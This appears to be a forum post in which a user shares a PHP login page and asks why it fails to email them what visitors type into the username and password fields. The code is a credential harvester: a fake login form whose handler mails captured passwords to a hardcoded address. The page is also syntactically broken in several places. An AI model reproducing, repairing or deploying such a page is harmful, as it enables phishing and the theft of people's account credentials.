[CODE]<?php
if (isset($_POST[username])) {
$to = “[email protected]”;
$subject = “SUBJECT!!”;
$username = $_POST[‘username’] ;
$password = $_POST[‘password’] ;
$message = “Username: $username
Password: $password”;
$headers .= ‘From: [email protected]’ . “rn”;
mail($to,$subject,$message,$header);
} else {
?>
<html>
<head>
<title>Login</title>
</head>
<body>
<form action=”https://www.example.com/login” method=”post” autocomplete=”off”>
Username:<input size=”20″ type=”text” name=”username” maxlength=”12″><br />
Password:<input size=”20″ type=”password” name=”password” maxlength=”20″><br />
<input type=”submit” value=”submit” name=”submit”>
</form>
<?
}
?>
That’s my full code for a PHP page. You enter details on the page and it is supposted to email you what was typed in the password and username box, but it doesnt. The rest of the form works fine.
It’s probobly something simple but I can’t get it.
Thanks
Demuck